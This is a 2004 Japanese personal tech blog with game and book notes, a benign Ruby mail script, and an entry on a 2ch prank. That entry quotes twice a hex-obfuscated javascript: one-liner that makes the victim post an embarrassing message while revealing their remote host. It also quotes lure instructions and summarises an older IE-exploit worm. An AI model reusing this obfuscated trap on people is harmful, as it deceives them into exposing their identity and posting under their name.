- 8曲目 katamari mammbo 塊シンドローム mix

松原のぶえがボーカル。坂本ちゃんが MC とコーラス。坂本ちゃんが歌ってると聞いたとき、「坂本ちゃんって歌えるのか? と」思ったところ、案の定ほとんど歌ってなかった。曲中でも「私ラブソングなんか歌えない」って言ってるし。

「狭いのが好き。」とか謎な歌詞だが、曲はまとも。イントロの坂本ちゃんの「ええっ、ちょっとー」がリズムに乗ってて良い感じ。

- 10曲目 真っ赤なバラとジントニック

ボーカルは水森亜土。私の中の水森亜土のイメージって、「しあわせのかたち」で玉吉が書いてたイメージしかない。変な帽子とオーバーオール姿で葬式に参列し、「ぷっぷ だど だど」とか言いながら遺影にスプレーで絵を描くあのイメージ。だから水森亜土が歌うと聞いたときはどんな曲なのかと楽しみにしてた。スキャットを聞いて一発でイメージが一致。この曲だけ妙に歌詞が短い。

- 16曲目 さくらいろの季節

子供声。合唱曲っぽい雰囲気がいい。

- 塊魂はベスト版が出てる

塊魂 PlayStation 2 the Best塊魂 PlayStation 2 the Best

ナムコ
発売日: 2004/11/03
PlayStation2

amazon で詳しく見る


いつの間にかベスト版が出てた。塊魂のゲーム自体は発売直後に友達とちょっと遊んだだけ。ゲームそのものはシンプル。虹とか島とか巻き込むのは圧巻だったな。

このゲームやってて一番楽しかったのは、初めて人を巻き込んだとき。「タナカミヨコ」ちゃんだったかな。ワンピースを着た小学生くらいの女の子だった。

2004-11-05 (Fri)

* 読書力 / 斎藤孝 を読了

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: []


最近は技術書や参考書ばっかりで、小説や新書をあまり読んでない。本を読まなきゃ。何読もう? ウェブ上の書評や感想を見て回って、面白そうだと感じた本をいくつか見繕って読もうか。

本調子 強運の持ち主になる読書道本調子 強運の持ち主になる読書道

清水 克衛 / 本田 健 / 七田 眞 / 望月 俊孝 / 斎藤 一人 / ハイブロー 武蔵 / 読書普及協会
発売日: 2003/12/20


amazon で詳しく見る   bk1で詳しく見る

「読書力」に「本調子」か。良いかも。読書量が不足している自分に焦燥感をもたらすには、読書の効用や必要性を訴える本を読むのが良いと思う。たまには自分を煽っておかなきゃ。

結局「読書力」を選んだ。「読書力」は岩波新書であるため手に入りやすく価格も安いということが決め手となった。

- 読書力 に書いてあったことで心に残ったこと

本を読もうよ。本は良いよー。
4年間で新書50冊、文庫100冊が読書力のボーダーライン。
読書力とは要約する力。要点をつかむ力。
お願いだから本を買って。出版界が存続できるようにして。
三色ボールペンなどで要点に線を引きながら読もう。読解力と要約力向上の訓練。
巻末の推薦図書リストの本を読んでね。

2004-11-04 (Thu)

* リッジレーサーズ PSP に食指が動く

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [ゲーム]


この冬は新たに携帯ゲーム機が2つ発売される。PSP と Nintendo DS だ。

ソニーの携帯ゲーム機プレイステーションポータブル (PSP) の発表があっても、大して気にも留めてなかった。買うならニンテンドーDS かなあ、とか思ってた。

マリオ出るっていうし、ニンテンドー64のマリオは面白かったし。昔買ったゲームウォッチを彷彿とさせるデザイン。タッチセンサーという新しい機能。宮本さんがなにかやってくれそう、という期待もある。
スーパーマリオ64DSスーパーマリオ64DS

任天堂
発売日: 2004/12/02
Nintendo DS

amazon で詳しく見る


- PSP 欲しくなってきた

PSP「プレイステーション・ポータブル」PSP「プレイステーション・ポータブル」

ソニー・コンピュータエンタテインメント
発売日: 2004/12/12
Sony PSP

amazon で詳しく見る

PSP じゃやりたいタイトルなんてないし、というのがニンテンドーDSを選んだ理由。グランツーリスモ出るじゃんって言われても、シミュレーターよりもレースを選ぶ私にはあまり魅力的なタイトルじゃあない。

そこへリッジレーサーがでるというニュース。それでも最初はそんなに期待してなかった。でも、ファミ通の記事を見て心を動かされた。ゲーム雑誌を読んで駆り立てられるような気分になったのは久しぶりだ。

http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-1b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-2b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-3b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-4b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-5b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-6b.jp ...
http://namco-ch.net/ridgeracers_psp/screenshot/img/ss1-7b.jp ...

すごいじゃん。画面キレイだ。スクリーンショットのレタッチが上手なだけなのかもしれないけど、綺麗であることにはかわりがない。PSP のワイド画面はレースゲームによく合う。レイブレーサーの上級コースの Mountain を収録してるのも嬉しいな。ぜひ大落下をまたやってみたい。あと中級の City で大ジャンプして Yaaaahooooo! とか言えると最高だな。

そして PSP の無線機能使って対戦できるっていうだもん。過去にドリフトの魅力にとりつかれた人なら、だれだってやりたくなるよ。一回転しながらコーナリングしたりしてね。

というか、これ PSP じゃなくて PS2 でやりたいなあ。ハードの立ち上げとほぼ同時の発売日なら売り上げも期待できるから PSP なんだろうけど。あー大きい画面と良いスピーカーでプレイしたいよ。

2004-11-10 追記。動画も公開された。ニトロ使ってるときにモーションブラーのエフェクトがかかってるのもはっきりわかる。
ナムコ、PSP用「リッジレーサーズ」3タイプの動画を公開!
http://www.watch.impress.co.jp/game/docs/20041110/rrs.htm

- リッジレーサーズ オフィシャルサイト

RIDGE RACERSRIDGE RACERS

ナムコ
発売日: 2004/12/12
Sony PSP

amazon で詳しく見る

2004年11月5日オープン予定とのこと。11月5日 金曜日発売のゲーム雑誌に合わせてオープン予定って事なのかな。

PSP/RIDGE RACERS
http://namco-ch.net/ridgeracers_psp/

- リッジレーサーズの音楽の情報はないの?

心配なのは音楽。ファミ通の記事では音楽について全く触れられてない。今回の全体の曲調はどんな物になるんだろう? 2004-09-21 に書いた GRIP を作曲した佐野電磁さんは参加するんだろうか? mixi 内の佐野電磁さんの日記にも情報は無かったし。あたりまえだけど。

2004-11-02 (Tue)

* ロリ画像トラップ JavaScript

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [2ch] [JavaScript]

2ちゃんねるのガイドライン板「JavaScript:document.body.innerHTMLのガイドライン2」スレの新作。実行したときの意外性という点で、2004-02-07 のクマー化 Bookmarklet に比肩する逸品。「ロリ画像トラップ JavaScript」という名前はどうかと思ったけど、他に表現しようがないので仕方がない。

一応 Bookmarklet として使うこともできるはず。そんな人はいないだろうけど。

- 「ロリ画像トラップ JavaScript」の発端

JavaScript:document.body.innerHTMLのガイドライン2
http://that3.2ch.net/test/read.cgi/gline/1076853643/570-
570 :水先案名無い人 [sage] :04/09/20 22:19:16 ID:k98P/XJ7
こういうのはいかがでつか?
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));

ここでお試しくだちぃ。
http://that3.2ch.net/test/read.cgi/gline/1076853643/l1

JavaScript の知識が無くても、どんなスクリプトなのかは以下のレスを見ればわかるだろう。

571 :水先案名無い人 [sage] :04/09/20 22:24:51 ID:0G+v9KPW
>>570
よく考えたな。


572 :水先案名無い人 [sage] :04/09/20 22:35:45 ID:8nGHGwx9
あぶねぇなぁ(W


573 :fusianasan [sage] :04/09/20 23:03:54 ID:gzaeiMlm
ロリ画像ください


574 :水先案名無い人 [sage] :04/09/21 03:09:59 ID:iG9vtk7P
>>570
何これ? ヤバイもんじゃないよね?


575 :水先案名無い人 [sage] :04/09/21 03:58:57 ID:jvvfPiN1
悪戯としてはギリギリセーフ?


576 :p0616-ip01kobeminato.hyogo.ocn.ne.jp :04/09/21 12:54:27 ID:h2OsgDge
ロリ画像ください


577 :水先案名無い人 [sage] :04/09/21 12:55:38 ID:h2OsgDge
NOOOOOOOOOOOOOOOOOOOOOOOO!!!
色々やってたらやっちまったよ_| ̄|○

- 「ロリ画像トラップ JavaScript」の動作

要するに、名前欄に「fusianasan」が、レス入力欄に「ロリ画像ください」がそれぞれ自動入力され、勝手に投稿までされるというスクリプトだ。

2ちゃんねるでは名前欄に fusianasan と入力して投稿すると、投稿者のリモートホストが表示される。民間企業や官公庁のネットワークから 2ch.net を閲覧してる場合、接続元がわかってしまうというわけだ。たとえば、米国のブッシュ大統領が実は2ちゃんねらーで、上記スクリプトをうっかり実行してしまった場合 whitehouse.gov というリモートホスト名が名前欄に表示されてしまう。たぶん。

2ちゃんねるの文化ではリモートホスト名を晒すのは恥ずかしいこととされているので、やってしまったときは >>577 のようなガッカリ系の書き込みがなされることが多い。ちなみに _| ̄|○ は 2004-02-04 で書いた「くずおれる男」の一種。

2ちゃんねるでは、投稿時に内容と書き込みの責任を確認する画面が表示され、同意した場合のみ書き込める仕組みになっている。同意はクッキーに保存されるため、一度も書き込んだことのない場合はこのスクリプトを実行しても確認画面で引き返すことができる。しかし、書き込んだことがある場合は >>576-577 の様な憂き目に会う。

578 :水先案名無い人 [sage] :04/09/21 13:01:46 ID:lvw3KE0R
>>576-577
がんばろう神戸!


579 :水先案名無い人 [sage] :04/09/21 13:06:11 ID:QmBoAxpq
漏れの環境だとうまく動かないなぁ。どんなスクリプトかは想像ついたけどw

ロリ画像ください


580 :YahooBB219210111015.bbtec.net :04/09/21 13:35:49 ID:je2GR6mm
ロリ画像ください


581 :水先案名無い人 [sage] :04/09/21 13:36:43 ID:je2GR6mm
見事にやられたOTL


582 :水先案名無い人 [sage] :04/09/21 15:12:34 ID:Z252quqQ
>>576-577
スマンがワロタ


583 :水先案名無い人 [sage] :04/09/21 15:34:31 ID:DOg20UW5
>>576-577
最終テスト検証ありがとー。
(つд`)
さすがに自分じゃ出来なかったから。。。

本当は犯行予告にしようかと思ったけどシャレにならなそうなんでやめといた(w

確かに犯行予告なんかが投稿文字列としてセットされていた日には警察沙汰になりかねない。恐ろしいこと考えるなあ。

- 「ロリ画像トラップ JavaScript」をさらに洗練させる人たち

よりわかりやすい手順を書いて、さらにトラップを洗練させる人たちまでいる。こんなの引っかかるのは小学生や中学生だけかと思ったら、すでに被害者2名。好奇心旺盛な人がたくさんいるということか。

593 :水先案名無い人 [sage] :04/09/21 19:03:02 ID:C01ao3LK
>>570
fusianaトラップみたいなテンプレ文ってないの?


594 :水先案名無い人 [sage] :04/09/21 19:15:03 ID:bPp3MRn7
>>593
ついに2ちゃんねるの隠しコマンドが明らかになった!!

みたいな感じで始まる奴?


595 :水先案名無い人 [sage] :04/09/21 19:30:37 ID:C01ao3LK
>>594
そんな感じのヤツ(w

って言うか本家にこんなのが貼られていた
http://that3.2ch.net/test/read.cgi/gline/1078904721/694

694 名前:水先案名無い人 投稿日:2004/09/21(火) 15:29 ID:5EcogbkC
(準備)
2ch専用ブラウザを使用している人は、
IEなどの一般的なブラウザでこのスレを開いておく。

1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

2、
改行を外して1行にする。

3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

4、
Enterを押す(もしくは「移動」をクリックする)。
────────────────────

被害者2名(w

- 過去にはもっと悪質な物があった

過去には fusianasan トラップと呼ばれるものがあった。IE のセキュリティホールを突いて、特定のサイトを閲覧しただけで2ちゃんねるにスレを立ててしまうというものだ。

今知っておくべき危険〜常時接続時代のセキュリティー 第1回 「2ちゃんねる」を襲った「fusianasanトラップ」の実態
http://web.archive.org/web/20040203014036/http://www.watch.i ...
●「fusianasanトラップ」とは
 「fusianasanトラップ」による攻撃は、Internet Explorer(以下、IE)が持っている二種類のセキュリティーホールをうまく利用したものでした。
 1つ目は、画像(HTML以外の形式)に偽装したページに含まれるスクリプトが解釈・実行されてしまう欠陥です。

 2つ目は、もしスクリプトの実行が禁止されるように設定されていても、IEが新しく対応した「HTML+TIME2(*1)」という技術にあるセキュリティーホールを悪用することで、強制的にスクリプトを実行させるというものです。

この結果、以下のような事態となった。

 これらの段階を踏むことで、「2ちゃんねる」が提供する掲示板に対して新規書き込みを行ない、それまでの話題が掲載された「スレッド」を、「過去データ倉庫」に流し込んでしまいました。

 「2ちゃんねる」に書き込まれたリンクをクリックした訪問者は、前述の脆弱性やスクリプトの動作を許可していたことによって、ふたたび「2ちゃんねる」に新規スレッドを作成する投稿を強制的に行なわされてしまいます。

 しかも、その書き込みには、再びスクリプトを含んだ画像へのリンクが本文として書き込まれます。つまり、「2ちゃんねる」という、ユーザーの非常に多い“掲示板を感染経路にしたワームのようなスクリプト”だったといえます。

 その結果、あっという間に書き込みが増え、掲示板は同じタイトルのスレッドで埋め尽くされてしまい、正常な利用ができなくなってしまいました。

fusianasan トラップはユーザがブラウズするだけで発動するが、ロリ画像トラップはユーザが自分でスクリプトを実行しないと発動しないのでまだかわいい方だ。

2004-11-01 (Mon)

* 添付ファイル付メール送信Rubyスクリプト samail 0.4

この記事の直リンクURL: Permlink | この記事が属するカテゴリ: [メール] [Ruby]

2004-10-09 で書いた「添付ファイル付メールを送信する Ruby スクリプト」である samail 0.3 を修正して バージョン 0.4 とした。

- samail 0.4 の修正点

・smtp タイムアウト時のエラーを rescue Exception で捕捉するようにした。
・状況表示メッセージは標準エラー出力に出力するようにした。
・--output - を指定されたときは、SMTP にメールを投げずに標準出力のみに出力するようにした。
・setup メソッド内で初期化した変数を他のメソッドで参照するのはやっぱり違和感があるので setup メソッドを削除。グローバルなんだからいいんだろうけど。

- samail 0.4 で便利になった点

標準出力にメールの中身を出力するようにしたので、ローカルのメール送信コマンドを利用することができるようになった。これにより、samail の簡易な SMTP リトライ機能ではなくローカルの MTA が提供する強力かつ信頼性の高いリトライ機能を利用できる。また、samail はリトライのみでキューイング機能を持たないが、ローカル MTA はキューイング機能を持っていればそれを利用できる。

ローカルの sendmail コマンドに samail の出力を渡す例。
$ samail -v --to "sonic64@infoseek.jp example@example.com" --from sonic64@infoseek.jp --attachment "logo.png /tmp/backup.tar.bz2" |/usr/sbin/sendmail -f sonic64@infoseek.jp -oi "sonic64@infoseek.jp example@example.com"

- samil 0.4 ソース

ライセンスは 2004-10-09 でも書いたとおり、GPL2 と BSD のデュアルライセンス。

#!/usr/local/bin/ruby

# Copyright (C) 2004 Saito Hiroaki <sonic64@infoseek.jp>
# http://sonic64.com/

require 'kconv'
require 'net/smtp'
require 'getopts'

APPLICATION_NAME = 'Landscape Mailsender'
APPLICATION_VERSION = '0.4'
BANNER_STRING = APPLICATION_NAME + ' ' + APPLICATION_VERSION
X_MAILER_WEBSITE = 'http://sonic64.com/2004-11-01.html'

def build_mail_header()
  $mail_content << 'Date: ' + Time::now.strftime("%a, %d %b %Y %X %z") + "\n"
  $mail_content << 'From: ' + $mail_from + "\n"
  $mail_content << 'To: ' + $mail_to.join(', ') + "\n"
  $mail_content << 'Subject: ' + $mail_subject + "\n"
  $mail_content << "MIME-Version: 1.0\n"
  $mail_content << 'Content-Type: multipart/mixed; boundary="' + $boundary  + "\"\n"
  $mail_content << 'X-Mailer: ' + BANNER_STRING + "\n"
  $mail_content << 'X-Mailer-WebSite: ' + X_MAILER_WEBSITE + "\n"
  $mail_content << "\n"
end


def add_attchment(file_name)
  if file_name == '' then
    return
  end

  attachment_file = File.open(file_name).readlines.join('')
  encoded_attachment = [attachment_file].pack('m')
  $mail_content <<  '--' + $boundary + "\n"
  $mail_content << "Content-Type: application/octet-stream;\n"
  $mail_content << ' name="' + File.basename(file_name) + '"' + "\n"
  $mail_content << "Content-Transfer-Encoding: base64\n"
  $mail_content << "Content-Disposition: attachment;\n"
  $mail_content << ' filename="' + File.basename(file_name) + "\"\n\n"
  $mail_content << encoded_attachment + "\n"
end


def send_mail(retry_count)
  begin
    STDERR.puts Time::now.to_s + " Try to connect " + $smtp_server if $OPT_v
    Net::SMTP.start($smtp_server) do |smtp|
      smtp.sendmail($mail_content, $mail_from, $mail_to)
    end
    STDERR.puts Time::now.to_s + ' Send OK' if $OPT_v
  rescue Exception => e
    STDERR.puts Time::now.to_s + ' smtp error: ' + e.message
    if retry_count != 0 then
      retry_count -= 1
      STDERR.puts Time::now.to_s + ' sleep: ' + $smtp_retry_interval_second.to_s + 'sec'
      sleep($smtp_retry_interval_second)
      $smtp_retry_interval_second *= 2
      retry
    else
      STDERR.puts Time::now.to_s + ' abort: Over retry count'
      raise
    end
  end
end


# main
usage_message = "usage: #$0 [-v] --to TO_EMAIL_ADDRESS [--from FROM_EMAIL_ADDRESS] [--smtp SMTP_SERVER] [--attachment ATTACHMENT_FILE] [--output]"
unless getopts('v', 'from:', 'to:', 'subject:', 'attachment:', 'smtp:', 'output:')
  abort usage_message
end
abort "#$0: specifiy --to TO_EMAIL_ADDRESS\n" + usage_message if ! $OPT_to

if $OPT_output == '-' then
  $output2stdout = true
  $smtp_server = ''
elsif $OPT_smtp then
  $output2stdout = false
  $smtp_server = $OPT_smtp
else
  $smtp_server = 'localhost'
end

$mail_from = $OPT_from ? $OPT_from : ENV['USER'] + '@' + ENV['HOSTNAME']
$mail_to = $OPT_to.split(/,\s*|\s+/)
$mail_subject = $OPT_subject ? $OPT_subject : APPLICATION_NAME + ' [' + Time::now.strftime("%a, %d %b %Y %X %z") + ']'

$mail_content = ''
$boundary = 'boundary_string_by_landscape_mailsender'
$attachment_file = $OPT_attachment ? $OPT_attachment.split(/,\s*|\s+/) : []
$smtp_retry = 8
$smtp_retry_interval_second = 30

if $OPT_v then
  STDERR.puts 'To: ' + $mail_to.join(', ')
  STDERR.puts 'From: ' + $mail_from
  STDERR.puts 'Attachment file: ' + $attachment_file.join(", ")
  STDERR.puts 'Subject: ' + $mail_subject
  if $output2stdout then
    STDERR.puts 'Output to STDOUT'
  else
    STDERR.puts 'SMTP Server: ' + $smtp_server
  end
end

build_mail_header()
$mail_content <<  '--' + $boundary + "\n"
$mail_content << "Content-Type: text/plain; charset=iso-2022-jp\n"
$mail_content << "Content-Transfer-Encoding: 7bit\n"
$mail_content << "\n"
$mail_content << "-- \n"
$mail_content << 'Powered by ' + BANNER_STRING + "\n"
$mail_content <<  X_MAILER_WEBSITE + "\n"
$mail_content << "\n"

$attachment_file.each do |file|
  add_attchment(file)
end

$mail_content <<  '--' + $boundary + "--\n"

if $output2stdout then
  puts $mail_content
else
  send_mail($smtp_retry)
end


すべての記事の見出し (全1029件)
全カテゴリの一覧と記事の数
カテゴリごとに記事をまとめ読みできます。記事の表題だけを見たい場合は、すべての記事の見出し (カテゴリ別表示) へ。

直近30日分の記事
2007-04-23 (Mon)
2007-03-07 (Wed)
2007-02-27 (Tue)
2007-01-17 (Wed)
2007-01-15 (Mon)
2007-01-14 (Sun)
2007-01-08 (Mon)
2006-12-01 (Fri)
2006-11-22 (Wed)
2006-11-20 (Mon)
2006-11-19 (Sun)
2006-09-30 (Sat)
2006-08-29 (Tue)
2006-08-04 (Fri)
2006-07-27 (Thu)
2006-07-23 (Sun)
2006-07-17 (Mon)
2006-07-10 (Mon)
2006-07-06 (Thu)
2006-07-03 (Mon)
2006-06-29 (Thu)
2006-06-28 (Wed)
2006-06-27 (Tue)
2006-06-25 (Sun)
2006-06-19 (Mon)
2006-06-18 (Sun)
2006-06-15 (Thu)
2006-06-11 (Sun)
2006-06-01 (Thu)
2006-05-30 (Tue)
プロファイル
斎藤 宏明。エンジニアです。宇都宮市に住んでいます。
リンク
RSS
スポンサードリンク
Powered by
さくらインターネット

© 斎藤 宏明 Saito Hiroaki Gmail Address
Landscape - エンジニアのメモ http://sonic64.com/
Landscape はランドスケープと読みます。
ひらがなだと らんどすけーぷ です。